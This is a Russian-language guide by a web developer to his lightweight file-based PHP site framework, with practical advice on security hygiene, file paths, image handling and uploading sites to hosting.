Веб разработкой я занимаюсь с 2008 года. Продвижением сайтов примерно с 2010. Сколько я занимаюсь, столько постоянно приходится учиться. Например достаточно простой HTML 4 успел трансформироваться в немного более сложный XHTML, который впоследствии был замещён очень обширным HTML 5. То же самое можно сказать и про язык таблиц стилей CSS.
За это время я успел поработать с разными системами управления контентом (CMS – content management system).
Большинство сайтов я делал на Joomla при необходимости в связке с VirtueMart, немного работал с Drupal, WordPress, osCommerce, OpenCart, Битрикс, MODX, делал форумы на phpBB.
И постоянно у всех этих движков одна история: хочешь качественный дизайн, хочешь продвижения в поисковых системах – лезь в исходный код!
Да, кстати, есть такая вещь как «конструкторы сайтов». Они не предназначены для реальных проектов. Да они могут предложить симпатичный шаблон для вашего сайта-визитки, но он будет неуникален, а HTML код всей системы настолько громоздок или скрыт от поисковых машин, что давно уже известен факт, что сайты, сделанные на конструкторах невозможно всерьёз продвигать.
Важным является и тот факт, что за любой CMS нужно приглядывать. Периодически в них выявляются уязвимости и начинается волна взломов сайтов на какой-то CMS.
Непрофессионал, просто имеющий сайт на CMS, обучившийся добавлять на него тексты, картинки, даже продвигающий его самостоятельно, очень часто становится пострадавшим от взлома в материальном плане. Ведь взломщики не дураки. Их цель – использовать ресурсы сервера, сайта. Они даже могут сами закрыть уязвимость, через которую взломали сайт и следующие новые уязвимости, чтобы спокойно делать в системе то, что им нужно: рассылать спам, размещать скрытые ссылки, майнить и т. п. При этом на сайте визуально никаких изменений наблюдаться не будет. Но для владельца сайта это выливается в понижение позиций в поисковых системах и прочие сразу неочевидные проблемы.
В общем, нет идеальных CMS, а если кто-то усиленно рекомендует какую-то, например, Битрикс, где с каждой лицензии разработчик имеет 50%, при том, что код системы очень тяжел в обслуживании.. Думаю понятно.
Короче говоря, поддержка всяких CMS отнимает время и силы, представьте ещё, что вам нужно поддерживать не один сайт на CMS. Добавьте сюда ещё всякие жизненные обстоятельства, которые могут препятствовать оперативному обслуживанию (а закрывать уязвимости нужно быстро), и со временем такие обстоятельства только растут.
Об этом фреймворке
Исходя из всего вышесказанного, опыта создания, обслуживания, продвижения многих десятков сайтов, опыта взаимодействия с заказчиками, я понял, что мне нужно направить время на разработку и продвижение несложных сайтов. Я пришёл к выводу, что мне нужно сделать свой максимально практичный, заточенный под продвижение в поисковых системах каркас (фреймворк) для создания сайтов, включив в него только то что необходимо, без всякой лишней ерунды.
Примерно за 2.5 года я создал такой фреймворк, вложив в него все свои знания. Минимализация кода позволила существенно повысить устойчивость ко взлому, получить максимальную скорость работы движка.
Например, если средняя CMS включает 200.000 – 300.000 строк кода, то в получившемся фреймворке порядка 2000 строк кода!
Откуда такая разница?
Нет панели администрирования, нет системы управления пользователями, группами, правами, нет кучи неиспользуемых плагинов и компонентов, нет глубокой вложенности в объектно-ориентрированном подходе, когда, чтобы показать просто страницу сайта пользователю система должна: проверить его права, настройки, опросить все компоненты, плагины, модули, передав им параметры пользователя, параллельно выполняя санацию данных, сделать несколько обращений и записей в базу данных и т. д. и т. п.
Система работает без использования базы данных, контент хранится в PHP-файлах, которые можно редактировать в простом текстовом редакторе (желательно, чтобы он обладал подсветкой синтаксиса), например Notepad++.
Для более-менее существенного редактирования контента сайта желательно знать основы таких языков разметки как HTML и CSS.
Если Вам нужно раз в квартал просто цены поменять и пару фраз, то можно и основ, наверное, не знать. Хотя, глядя как развивается Мир, знание web-языков может быть полезно.
Соблюдайте правила безопасности!
Прежде чем вообще начинать деятельность в интернете, уясните себе основные правила безопасности! Вы же время и силы на бизнес хотите тратить, а не на решение каких-то «из ниоткуда» возникающих проблем!
Не переходите в аккаунты по ссылкам из писем
Получить доступ к хостингу или для начала к вашей почте или компьютеру – золотая жила для хакеров.
Одним из распространённых методов кражи паролей является «Фишинг».
Это когда Вас побуждают перейти на сайт-копию хостинга, почты, банка и т. п. и ввести там свой логин/пароль. Для этого хакеры присылают жертве письма или SMS как бы от официального источника, с тревожно-мотивировочным сообщением, что мол с вашим аккаунтом такая-то проблема: закончилась регистрация домена, закончились деньги, заблокирован и т. п. В письме даётся ссылка для перехода в якобы аккаунт, на самом деле ведущая на сайт-двойник.
Поэтому никогда не переходите по ссылкам из писем, которые вы не ждали! Если хотите выяснить что делается в аккаунте, заходите в него, введя вручную адрес, который вы знаете, в браузере.
Вообще в IT нужно перед тем как что-то сделать, думать о безопасности, анализировать – не пытаются ли Вас обмануть.
Не устанавливайте программы с неофициальных сайтов
Если вы хотите установить какую-то программу на компьютер, телефон. Сначала убедитесь, что она вам действительно нужна, почитайте отзывы.
Скачивайте программу только с официального сайта разработчика, даже если это англоязычный сайт. Никогда не устанавливайте ничего с неофициальных сайтов, так как программы выкладываемые там могут содержать умышленные или даже без ведома автора сайта (не известно как он хранит, где взял) внедрённые дыры (Backdoor).
Не храните пароли в почтовых ящиках
Если взломают почту, будут искать логины/пароли во всех папках, включая корзину. Пароли храните в надёжных местах, а из почтовых ящиков сразу после получения удаляйте, включая очистку корзины.
Вообще, лучше не хранить пароли как есть, придумайте себе какой-то алгоритм для генерации паролей. Как самый простой вариант можно рассмотреть составной пароль, когда часть пароля хранится как обычно, а полный пароль получается добавлением второй части (мастер-ключ), которая только у вас в голове. В принципе, мастер-ключ может быть один для всего. Но сами пароли всегда должны быть разные.
Никогда не используйте одинаковые пароли для разных аккаунтов!
Использовать ли программу менеджер паролей? Я лично не использую и не собираюсь.
Устройство системы (сайта)
Далее термины «директория», «папка», «каталог» следует рассматривать как синонимы.
Принцип работы системы достаточно прост:
URL-адреса на сайте (разделы сайта) соответствуют названиям папок в корневой директории сайта.
( Корневая директория сайта на разных хостингах может называться по-разному:
«public_html», «www», «httpdocs», в любом случае, далее корневую директорию сайта будем обозначать просто прямым слэшем «/» ).
В каждой соответствующей папке есть файл index.php – в нём хранится основной контент (HTML-разметка) страницы, а также переменные с содержимым для мета-тегов этой страницы.
Каждый файл index.php подключает PHP-файлы «header.php» и «footer.php», расположенные в директории /cms/php/, генерирующие шапку и подвал для страницы, соответственно.
В каждой директории помимо файла index.php, автоматически генерируется (если его ещё нет, или он был удалён) файл meta.php. Он нужен для SEO (Search engine optimization), изначально в эти файлы копируется содержимое мета-тегов из файла index.php. Потом можно редактировать этот meta.php.
В частности из meta.php берутся название пунктов для навигационной цепочки, если таковую делать. Можно придумать и другие варианты, как задействовать этот файл – здесь дело творческое, может оно вам, как пользователю не нужно, просто чтобы знали, что это за файл.
Системные файлы расположены в специальной папке «/cms».
Структура папки «cms» следующая:
/cms/css – таблицы стилей.
/cms/images – изображения для стилей.
/cms/js – JavaScript-ы.
/cms/php – PHP файлы движка.
/cms/font-name_font – шрифт для иконок.
В файле /cms/php/data.php задаются основные настройки с комментариями к ним: переменные для вывода телефонов, адресов и т. п., пункты меню.
Исходные файлы таблиц стилей (CSS) и JavaScript-ы лежат в соответствующих директориях: /cms/css/styles_ini.css и /cms/js/functions_ini.js, они имеют суффикс «_ini». Всю работу нужно выполнять с ними, лежащие рядом файлы с такими же именами, но без суффикса – это сжатые версии этих файлов, они генерируются каждый раз при любом изменении исходного файла. Сжатые версии используются на сайте и нужны, чтобы показать поисковым машинам, что сайт оптимизирован.
В файле /cms/php/functions.php находятся функции, используемые для работы фреймворка. Названия функций там говорят сами за себя.
Редактирование контента и кода сайта
В зависимости от глубины изменений, которые Вы хотите сделать на сайте, можно рассматривать 3 варианта редактирования сайта:
Незначительные текстовые, кодовые правки
Такие правки вполне можно делать просто правя содержимое соответствующего PHP-файла на компьютере и загружая его на хостинг.
Окно редактора Notepad++ с открытым PHP-файлом
Изменения можно смотреть просто обновив страницу сайта в браузере.
Большие текстовые, кодовые правки
В принципе, такие правки можно делать и первым способом.
Либо, Вы можете открыть в браузере исходный код (Ctrl+U) страницы, которую собираетесь править, скопировать этот код полностью и создать на компьютере в соответствующей директории сайта документ index.html (не забываем, что кодировка файла должна быть UTF-8), в него вставить скопированный код. Этот файл можно будет просто открыть браузером, но чтобы подгрузились соответствующие стили, изображения и скрипты, нужно поменять все абсолютные пути на относительные!
Когда пути прописали, убедились, что всё подгружается, можно править этот файл, и смотреть изменения в браузере. Когда всё будет готово, нужно не спеша перенести контент из этого index.html в рядом лежащий index.php (естественно без шапки и подвала, которых в PHP-файле быть не должно).
Если работали с изображениями, не забудьте вернуть файловые пути к абсолютному виду. И не забудьте, что в некоторых местах в PHP-файлах содержимое (адреса, телефоны, названия, может что-то ещё) выводятся как PHP-переменные из файла data.php. В HTML-коде, который Вы копировали, естественно, вместо этих переменных стоит содержимое этих переменных, поэтому в PHP-файле не забудьте заменить эти места текста назад переменными.
Полноценная локальна разработка
Для этого нужно установить программную среду для веб-разработки (локальный сервер), чтобы заработали PHP-скрипты.
По своему опыту, могу сказать, что в Рунете сейчас популярен программный комплекс Open Server Panel (OSPanel) Я им тоже пользуюсь на данный момент. Правда, он очень громоздок, в нём много избыточных компонентов. У меня сейчас стоит версия OSPanel 5.2.2 и занимает 5.3 ГБ (ГБ – сокращение от гигабайт) места на диске. Последняя версия 5.4.3 требует «от 10 ГБ места на диске», сам дистрибутив весит 1 ГБ.
Из плюсов нужно отметить, что документация и сообщество проекта ведутся на русском языке в полном объёме.
Не так давно я озадачился для целей данного фреймворка найти среду разработки попроще и нашёл Uniform Server. Немного потестировал его, впечатление очень хорошее. Дистрибутив весит 0.05 ГБ, представляет собой самораспаковывающийся архив. После распаковки занял у меня на диске 0.35 ГБ.
Из минусов нужно отметить, что документация и сообщество проекта ведутся практически только на английском языке.
См. раздел «Установка Uniform Server».
Поддерживайте порядок в рабочем пространстве!
Изначально у Вас есть архив с корневым каталогом документов сайта, имеющий название вида «domain-name_dd-mm-yyyy» , и, возможно, с исходниками изображений, например в формате «xcf» (несжатые растровые изображения со слоями).
Возьмите за правило всегда после внесения изменений в кодах, материалах сайта или исходниках изображений, сохранять полностью весь архив сайта с суффиксом даты изменений (как в примере выше «_dd-mm-yyyy»), не только на компьютере, но и на внешнем накопителе, а также на Яндекс Диске и на Drive.google.com. Чтобы не потерять все данные в один день (компьютер и внешний диск ведь хранятся, как правило, в одном месте..)
Создавая документы, изображения и т. п., именуйте их осмысленными названиями, храните их исходники в папках проекта, а не где-попало на компьютере. Чтобы через год не ломать голову, где-что искать?
Работа с кодом
Нужно сказать, что изначально почти все IT стандарты, документация публикуются на английском языке! Так что при возможности, лучше всегда обращаться к оригинальным источникам. Документация на английском как правило более полна, на английском больше ресурсов с обсуждением и решением проблем.
Я уже много лет стараюсь читать только на английском, неточные переводы надоели.. В этом руководстве я даю несколько ссылок на англоязычные ресурсы, если Вы не можете их читать, посмотрите, нет ли там переключателя языка, либо пользуйтесь каким-нибудь онлайн переводчиком или ищите в Яндекс по теме аналоги. Ссылки на русскоязычные сайты я давать не хочу т. к. они не всегда поддерживаются в актуальном состоянии, некоторые сайты вообще со временем перестают существовать.
И потом, код программ всё-равно представлен английским синтаксисом, поэтому порой даже с минимальным знанием английского можно понять какая проблема обсуждается и её решение.
В данной инструкции, конечно, я не могу давать ещё доскональные пояснения по рекомендуемым к использованию программам. Что считаю важным, постараюсь изложить. Надеюсь, Вы понимаете, что иначе объём информации получился бы слишком большой и даже неуместный. Всегда лучше уметь самим находить нужную информацию и учиться, благо, её хватает в открытом доступе.
Эту инструкцию я пишу исходя из предположения, что Вы будете работать на операционной системе Windows. Я не буду предлагать аналоги программ для macOS или Linux, пользователи этих операционных систем достаточно продвинуты, чтобы быстро найти себе подходящий аналог по вкусу!
Изучение языков HTML и CSS, естественно имеет смысл проводить не спеша, с самых основ.
Я ОЧЕНЬ не советовал бы вступать в какие-то онлайн-курсы! Они не дают самых нужных, фундаментальных знаний, которые можно получить только не спеша читая учебники по HTML и CSS и практикуясь.
На базе HTML и CSS существует много синтетических надстроек, которые постоянно возникают и исчезают. Типа всяких CSS-препроцессоров: SCSS, LESS, всякие JavaScript библиотеки типа React, JQuery, всякие модели проектирования типа БЭМ, системы контроля версий и т. п. Это всё выдаётся как «передовой край» в разработке.
На самом деле, это всё приходит из крупных web-корпораций, и внедряют они у себя эти модели организации процесса разработки не от хорошей жизни. Влезая в такие дебри, Вы ничего кроме ощущения неполноценности и желания бросить не заработаете, из вас выкачают много денег, постоянно впаривая, что нужно идти дальше.. Но повторюсь, все эти библиотеки приходят и уходят – это всего-лишь синтаксические надстройки над языками HTML, CSS и JavaScript.
Сейчас информации в свободном доступе, хорошо изложенной, полно. Проблема только в том, что если вбить в Яндекс «Основы HTML и CSS», большую часть топа занимают всякие курсы, просто смотрите немного ниже.
На вышеуказанных сайтах есть переключатель на русский язык.
Внимание, в вышеприведённых ссылках есть раздел «Установка базового программного обеспечения», лучше не читайте его, там очень много абсолютно лишнего, даже профессионалы не пользуются всем этим.
Вам нужен только текстовый редактор Notepad++ и графический редактор Gimp.
Есть как минимум 2 правила, которые обязательно нужно соблюдать при редактировании HTML/CSS и иных файлов.
Все имена тегов, классов, атрибутов, идентификаторов необходимо писать в нижнем регистре, не использовать заглавные буквы никогда! HTML 5 теоретически не чувствителен к регистру символов, CSS – частично чувствителен, JavaScript – полностью чувствителен, XML – полностью чувствителен, SVG – полностью чувствителен, PHP – частично чувствителен. Всегда исходите из правила, что все программы чувствительны к регистру символов!
При именовании классов, идентификаторов, переменных и т. п., слова в именах нельзя разделять пробелами! В качестве разделителя лучше всего использовать символ подчеркивания «_». Советую как можно реже в качестве разделителя использовать символ дефис (минус) «-». Все программы не идеальны, можете рано или поздно напороться на баг какого-нибудь браузера, когда дефис «-» будет расценен как арифметическая операция, это отнимет много нервов и времени.
Я лично позволяю себе использовать дефис в именах директорий и файлов, URL-адресах. Но это случай, когда проблема даже если и возникнет, то будет достаточно очевидна.
Желательно также придерживаться Стандартов форматирования HTML и CSS кода. Они помогают избежать бардака в коде.
Это рекомендации, Вы можете их несколько модифицировать под себя. Например, мне кажется нагляднее делать в примерах для других отступы вложенных блоков в HTML-коде не двумя пробелами, а табуляцией как в PHP, состоящей из 4-х пробелов (фактически мы и работаем с PHP файлами). А часто с целью уменьшения веса страницы (чтобы поисковые машины оценили HTML-код как сжатый), зная, что с кодом буду работать только я, вообще в некоторых участках кода не делаю вложенных отступов. Всё хорошо в меру. Благо редактор всё-равно подсвечивает парные теги.
Для удобства и экспериментов, чтобы вы могли «пощупать» живой код HTML и CSS, я сделал архив с этой страницей, который Вы можете скачать: Архив с тестовой страницей.
Работа с путями и именами файлов в разных операционных системах
Имена файлов
Операционные системы Windows и MacOS не различают регистры букв в именах файлов и директорий, другие операционные системы типа Unix различают регистр букв в именах файлов и директорий.
То есть, для Windows и MacOS файлы «my_picture_1.jpg», «MY_picture_1.jpg», «MY_PICTURE_1.jpg» – это один и тот же файл. В UNIX/Lnux, которые, как правило, используются на хостингах – это будут 3 разных файла.
В общем, всегда именуйте файлы, их расширения, папки в нижнем регистре букв!
Также, во-избежание проблем НИКОГДА на используйте в названиях файлов и каталогов пробелы и специальные символы (точки, ^@$%#?!:;\'" и т. п.) Проще сказать используйте: английские буквы в нижнем регистре и цифры, в качестве разделителя слов используйте подчеркивание _ или дефис -.
Русские буквы (кириллицу) в именах файлов и директорий теоретически можно использовать (например это может пригодиться для целей SEO (search engine optimization), мой фреймворк на это рассчитан. Но во-первых, о поддержке кириллицы в именах файлов нужно обязательно уточнять у хостера, во-вторых, даже когда файловая система на хостинге поддерживает кириллицу, очень часто бывают проблемы при разархивировании архивов, содержащих файлы с кириллическими именами, они могут терять имена или имена преобразовываются в кракозябры.
Подробнее об этой проблеме см. в разделе о закачке файлов на хостинг.
При работе с HTML/CSS нужно понимать, как работать с адресами файлов
В Windows по умолчанию в качестве разделителя директорий в файловых путях используется обратный слэш « \ ».
В операционных системах семейства Unix (Linux) в качестве разделителя директорий в файловых путях, а также в URL-адресах в качестве разделителя сегментов используется прямой слэш « / ».
Современные версии Windows нормально работают, когда в качестве разделителя директорий в файловых путях используется прямой слэш « / ».
Unix и URL-спецификация запрещает использование обратного слэша. Поэтому, при написании HTML-кода в адресах всегда используйте только прямой слэш « / ».
Абсолютные и относительные пути в операционной системе и на сервере
При работе с файловой системой и сайтом есть такие понятия как «Корень файловой системы» и «Корневой каталог сайта».
Когда вы работаете с каким-то файлом в редакторе, в заголовке окна редактора вы можете видеть абсолютный путь к открытому файлу.
Это путь в файловой системе на вашем компьютере. В Windows корнем такого пути (корнем файловой системы) является буква диска (тома), например, C: или D:.
Пример такого пути: C:\OpenServer\domains\demo-site\public_html\index.php.
В Unix (Linux) -системах корнем такого абсолютного пути является просто прямой слэш.
Например: /home/r/demo-site/public_html/index.php.
Ещё, во всех операционных системах и URL-адресах существуют 2 специальных обозначения сегмента адреса о которых нужно знать:
« ../ » (две точки и прямой слэш) – директория на уровень выше относительно текущей;
« ./ » (одна точка и прямой слэш) – текущая директория.
В большинстве случаев « ./ » по сути ничего не меняет. Например, следующие пути будут эквивалентны:
«images/my_image.jpg», «./images/my_image.jpg», «images/./././././my_image.jpg».
URL-пути в контексте сервера
Когда на web-хостинге (не важно Unix-хостинге вашего провайдера или локальном на вашем Windows-компьютере) настраивается web-сервер (ваш сайт), который будет доступен всем из интернета, то разумеется не позволительно, чтобы все могли, вводя в браузер файловые пути, гулять по всем файлам вашей операционной системы!
Поэтому, веб-сервер (устанавливаемый на операционную систему) конфигурируют так, чтобы внешним пользователям он показывал файлы только не выше какой-то конкретной директории (так называемой, рабочей или как еще называют корневой директории сайта, корень документов сайта).
В примерах выше это могла бы быть директория «public_html», обычно так и делается, в некоторых конфигурациях серверов, такая директория может называться и по-другому: «httpdocs» или «www».
В web-разработке есть такой термин «направить домен на хостинг». Вообще, доменное имя и хостинг, где лежат файлы сайта – это разные сущности. Обычно, домен и хостинг покупают сразу у одного провайдера, тогда он сам направляет домен, т. е. делает так чтобы при обращении к доменному имени вызывался определённый файл из корневой директории сайта. Как правило, такой файл называется индексным и носит имя index.php или index.html.
Например, вы купили доменное имя ivan-ivanov.ru. Хостинг-провайдер по каким-то своим правилам создал для вас в своей операционной системе рабочую директорию сайта/home/i/ivan-ivanov-ru/public_html/.
Теперь при вводе в браузере URL-адреса ivan-ivanov.ru, веб-сервер будет в папке
/home/i/ivan-ivanov-ru/public_html/ искать файлы index.php или index.html.
А при обращению к URL-адресу ivan-ivanov.ru/razdel-1, веб-сервер будет искать файлы index.php или index.html в папке
/home/i/ivan-ivanov-ru/public_html/razdel-1/.
Соответственно, в HTML/CSS-коде при указании адресов изображений, таблиц стилей, скриптов и прочего используется не адресация файлов в операционной системе, а URL-адресация. Если адрес нужно указать от корня сайта, то обозначается это прямым слэшем « / ».
Например, на сайте изображения хранятся в папке «images», расположенной в корне сайта (т. е. физически по системному адресу /home/i/ivan-ivanov-ru/public_html/images/). Тогда в HTML-коде можно указывать адрес файла, находящегося в этой папке как, например, /images/foto_1.jpg.
Вид пути, когда он начинается от корня сайта или от корня операционной системы называется Абсолютный путь.
Предположим, ма работаем с файлом index.html, находящемся в папке (по URL-адресу) /page_1/subpage_2/index.html и хотим показать изображение foto_1.jpg, находящееся в папке /images/. Мы можем задать адрес изображения в теге «img» двумя способами: <img src="/images/foto_1.jpg"> – указываем абсолютный путь от корня сайта. Или так: <img src="../../images/foto_1.jpg"> – это команда серверу: поднимись вверх на 2 уровня относительно нашей текущей директории subpage_2, т. е. фактически опять в корень сайта, и оттуда иди в images/foto_1.jpg. Такой тип адресации, когда путь указывается не от корня сайта (или файловой системы) называется Относительным, иногда пользоваться им бывает удобнее, чем абсолютным типом адресации.
Например, так как я предлагаю скачать архив с этой страницей для тренировки, я же ведь не знаю, где вы его разместите на компьютере, поэтому на этой странице использовал относительную адресацию для изображений и подключения таблицы стилей! Например, изображение редактора Notepad++ прописано так <img src="images/notepad-plus-plus-view.gif">, обратите внимание, « ./ » перед images я не указал
(<img src="./images/notepad-plus-plus-view.gif">), в данном случае это не обязательно. Бывают нюансы в программировании, когда нужно явно указывать « ./ », например, при работе в терминале.
HTML/CSS запросы на сервере никаким образом не могут получить доступ к файлам, расположенным выше корневой директории сайта. Даже если бы мы указали в предыдущем примере путь такого вида ../../../access.log, то сервер обрубил бы наш запрос, возможно просто отдав контент индексного файла из корня сайта.
Файловые пути в контексте операционной системы
Не важно, устанавливали или не устанавливали Вы web-сервер у себя на компьютере, но, если вы имеете копию сайта (т. е. копию папки public_html), вы можете для интереса в любом разделе локального сайта создать документ index.html (не забываем, что кодировка должна быть UTF-8). Затем открыть в браузере на рабочем сайте этот же раздел, открыть исходный код (Ctrl+U) страницы, скопировать этот код полностью и вставить его в созданный файл index.html. Затем вы можете правой кнопкой мыши открыть этот файл любым браузером.
Надеюсь вы не сильно удивитесь, когда увидите, что изображений на странице нет, таблица стилей и JavaScript-файлы не подключены.
Это потому что в соответствующих тегах указаны абсолютные URL-пути (в контексте сервера). Но в данном случае, открыв файл в браузере через правую кнопку мыши, вы открыли его в контексте операционной системы, соответственно, абсолютный путь будет начинаться от системного диска, т. е. файл, прописанный в теге <img src="/images/foto_1.jpg"> браузер будет искать, по адресу C:/images/foto_1.jpg, естественно он ничего не найдёт!
Повторюсь ещё раз, нужно понять разницу. Эта ситуация произойдёт, если вы откроете файл index.html через правую кнопку мыши, выбрав в качестве приложения для открытия веб-браузер. Если же у вас установлен локальный веб-сервер, и вы введёте в адресную строку браузера URL-адрес раздела локального сайта, где создан этот файл, указав index.html в конце адреса, то изображения, таблица стилей и JavaScript-файл подгрузятся нормально.
Как сделать чтобы изображения, таблицы стилей и JavaScript-ы в первом случае подгрузились?
Поменять все абсолютные адреса в тегах на странице на относительные. Для этого очень удобна функция поиска и замены (Ctrl+H) в Notepad++.
Все абсолютные адреса в тегах начинаются с двойной кавычки и прямого слэша: « "/ », нужно их поменять на двойную кавычку и соответствующий текущей странице уровень вложенности от папки «public_html»: « "../ » или « "../../ » или « "../../../ ».
Инструменты разработчика в браузерах
Современным разработчикам можно сказать, повезло!
Во всех браузерах сейчас встроены инструменты разработки HTML/CSS (панель инспектора кода).
Открыть её можно, нажав правой кнопкой мыши на интересующем месте страницы сайта и выбрав пункт контекстного меню, который будет называться примерно «Инспектировать элемент». Либо, например, в Firefox, Яндекс браузере можно нажать «Ctrl+Shift+I» («Ctrl+Shift+M» – в режиме для тестирования адаптивности), в Chrome – «Ctrl+Shift+C».
Это, наверное, самый важный инструмент, которым обязательно нужно пользоваться, если хотите понять, что происходит в коде страницы: актуальное DOM-дерево страницы, какие стили применяются к каждому элементу, эмуляция экранов мобильных устройств и много что ещё!
Окно инспектора кода в браузере Firefox в режиме тестирования на разных размерах
Не забывайте при правке кода страниц тестировать, как они выглядят на разных размерах экрана, на мобильных устройствах!
Наверное, хорошо бы порекомендовать видео о работе с панелью инспектора кода в браузере. Из всех видео на русском языке на Youtube мне более-менее понравилось вот это: Инструменты разработчика: Chrome DevTools
В каком браузере этот инструмент лучше, сказать не могу – это нужно комплексное тестирование проводить. Я по-привычке в основном пользуюсь браузером Firefox.
Для справки замечу, что Яндекс Браузер создан на основе движка Blink, созданного Google для браузера Chromium. Firefox использует свой собственный движок.
У браузеров есть такое свойство – кэширование контента. Иногда после редактирования таблиц стилей или изображения, вы обновляете страницу, но изменений не видите. Попробуйте в таком случае нажать Ctrl+F5.
Проверяйте код на ошибки!
После внесения правок в код на рабочем сайте, хорошая идея – проверить HTML/CSS на наличие ошибок. Для этого можно использовать онлайн-валидаторы разметки, которые предоставляет World Wide Web Consortium (W3C) – организация по стандартизации Интернета:
Для интереса можете проверить не только свои сайты, обычно ошибок много, что плохо.
Работа с изображениями
Для справки:
Размер изображения измеряется в пикселах (ширина, высота);
Вес изображения измеряется в байтах.
При создании тега «img» по правилам положено указывать атрибуты «width» и «height», в них соответственно, нужно прописывать реальные ширину и высоту изображения. Если вы пропишете ширину меньше реальной, то в браузере изображение визуально будет казаться меньше, но для ресайза это очень плохая практика! (вес изображения остаётся, плюс идёт нагрузка на браузер для обсчёта ресайза при каждом просмотре страницы). Если изображение нужно визуально уменьшить, уменьшайте его в графическом редакторе и перезаливайте на хостинг.
Старайтесь делать изображения с минимальным весом.
Для фотографий подходит формат файлов «.jpg», для чертежей, текстов, скриншотов интерфейсов лучше подходит формат «.gif», он оставляет качество таких изображений лучше чем сжатый jpg, но файл будет весить в разы меньше.
Как грамотно размечены и насколько легки ваши изображения – важно для поисковых систем!
Графический редактор Gimp
Gimp поддерживает слои. Несложно делать слоем свой водяной знак, чтобы защитить изображение от копирования. Есть документация и сообщества на русском языке.
Официальный сайт: графический редактор Gimp Для экспорта в форматы «jpg», «gif» и прочие: Меню «Файл – Экспортировать как…» (Export As…) или нажмите одновременно Shift+Ctrl+E.
Для «jpg»-изображений, как правило, ползунок сжатия (качества) можно выставлять в диапазонах от 50 до 90.
Gimp, окно экспорта в jpg, уровень сжатия.
Я бы рекомендовал в целях дополнительной защиты и поисковой оптимизации при создании изображения в Gimp прописывать мета-данные для картинки. Сделать это можно в меню Gimp «Изображение – Метаданные – Редактировать метаданные». Либо в Windows по правой кнопке мыши вызвать свойства файла «Подробно». В метаданные можно записать ключевые слова и url сайта.
Загрузка файлов на хостинг
Как писал выше, корневая директория сайта на разных хостингах может называться по-разному: «public_html», «www», «httpdocs» и т. п. Думаю, на своём хостинге вам не сложно разобраться в этом. В этом руководстве в основном я привожу примеры с названием «public_html».
Наверное, самый простой способ загрузки файлов на сервер (хостинг) – это использование файлового менеджера в панели управления хостингом.
Вид панели: Иконки
Раньше для загрузки файлов на хостинг использовали 2 варианта: устанавливали соединение компьютера с сервером по FTP (SFTP) и закачивали файлы или архив с файлами на сервер. Или закачивали архив с файлами на сервер через файловый менеджер в панели управления хостингом.
Последние годы у некоторых хостеров в файловых менеджерах появилась функция позволяющая выбрать для загрузки не файл а целую папку на компьютере!
С одной стороны – это очень удобно.. но нужно иметь в виду, что при загрузке папок с большими объёмами или большими уровнями вложенности могут быть проблемы.
Я лично предпочитаю закачивать файлы архивом и на хостинге его распаковывать. Но и тут есть трудности, если в названиях файлов или папок используется кириллица (об этом читайте ниже).
Файловый менеджер: выбор файлов или папки для закачки.
Внимание! На настоящее время на хостинге Sweb у файлового менеджера есть неприятная особенность: если вы хотите загрузить на хостинг файл в каталог, который открыт в центральном окне, следите, чтобы перед этим никакая папка (директория) в этом окне не была выделена! Иначе файл загрузится в выделенную папку, и этого можно сразу не понять (очень не интуитивно).
Администрации Sweb я писал об этой проблеме, сказали, что будут разбираться..
Ниже пример панели файлового менеджера в виде списка, в центральном окне открыта рабочая директория public_html. Но случайно выделена папка «izdelie-3», поэтому рассчитывая загрузить файл в открытую в окне директорию public_html, вы на самом деле загрузите его в папку «izdelie-3», будьте внимательны!
Вид панели: Список
На заметку. Если файловый менеджер вашего хостинга не поддерживает загрузку каталогов (папок). Или ещё по каким-то причинам вы хотите заливать файлы на хостинг предварительно их заархивировав, например, медленный интернет и большой объём данных.
То помните, нельзя загружать в рабочую директорию хостинга (доступную из интернета), тем более хранить там архивы со стандартными именами (например www.zip, cms.zip, public_html.zip и т. п.) Сайты постоянно сканируются ботами на предмет таких архивов (www.zip, public_html.zip и т. п.) чтобы скачать все исходные коды!
Например, если вы захотели целиком перезалить на хостинг папку «cms» (это важный системный каталог, и мы не хотим, чтобы его кто-то мог скачать одним архивом), поступите так:
На компьютере в папке «public_html» выделите папку «cms», по правой кнопке мыши вызовите ваш любимый архиватор (например, в Windows 10 правой кнопкой мыши можно выбрать «Отправить – Сжатая ZIP-папка»), соответственно, папка будет целиком заархивирована;
Затем переименуйте этот архив в любую абракадабру (английские буквы, цифры, без пробелов), внутри архива папка «cms» всё-равно останется со своим названием;
Загрузите этот архив (названный абракадаброй) на хостинг в папку public_html;
Затем удаляйте на хостинге папку «cms» (чтобы не было неоднозначностей);
Разархивируйте закачанный на хостинг архив (Меню «Распаковать архив – Здесь»). (Если будет странное предупреждение «Заменить старый файл новым?» – жмите «Да»);
На хостинге должна появиться новая папка «cms»;
Удаляйте закачанный архив, чтобы не засорял хостинг. И локально, конечно, удаляйте его.
Я бы рекомендовал для тренировки создать на хостинге в папке public_html папку с именем «test». Затем на локальном сайте тоже в папке public_html создайте папку с именем «test». И проделайте с этой папкой все вышеописанные действия, чтобы почувствовать уверенность.
Если Вы внимательно читаете меня, то у Вас может возникнуть вопрос:
Если я заархивирую папку «public_html» целиком, которая является каталогом документов сайта, я же её должен загрузить и распаковать в директорию на сервере, которая на уровень выше и, соответственно, она не доступна для просмотра из интернета, так зачем архив с папкой «public_html» переименовывать в абракадабру? Отвечаю – всё верно, этот архив никак не доступен из интернета, но проблема в том, что в силу разных причин Вы иногда ошибётесь и загрузите архив не туда, а, например в саму папку «public_html» на сервере, а тут вам ещё по телефону позвонят и отвлекут, или чай прольёте, в общем много что может быть..
Работа с кириллическими именами файлов
Иногда для целей SEO бывает нужно использовать русские (кириллические) имена файлов и директорий. Во-первых, не все хостинги поддерживают такую возможность. Во-вторых, даже если хостер подтвердил, что можно использовать кириллицу в именах файлов и каталогов, часто бывают проблемы при разархивировании архивов, содержащих файлы с кириллическими именами, они могут терять имена или имена преобразовываются в кракозябры.
Более того, хостеры имею привычку обновлять программное обеспечение, и даже если такой проблемы не было раньше, она может обнаружиться в любой раз при загрузке и распаковке архива не хостинге!
Как правило такие проблемы возникают с архивами в форматах Zip, 7z, RAR, попробуйте использовать формат Tar или его производные. Формат Tar, например поддерживает архиватор 7-Zip.
Также таких проблем может не быть при закачке файлов по SFTP-протоколу (простой FTP протокол считается очень уязвимым и не рекомендуется к использованию). В качестве SFTP-клиента можно использовать WinSCP или FileZilla, но сначала почитайте отзывы о каждой программе, прежде чем выбрать, слышал что FileZilla в последнее время грешит навязыванием рекламы.
Если Вы используете на сайте кириллические имена файлов и директорий, всегда проверяйте корректность имён после закачки на хостинг файлов!
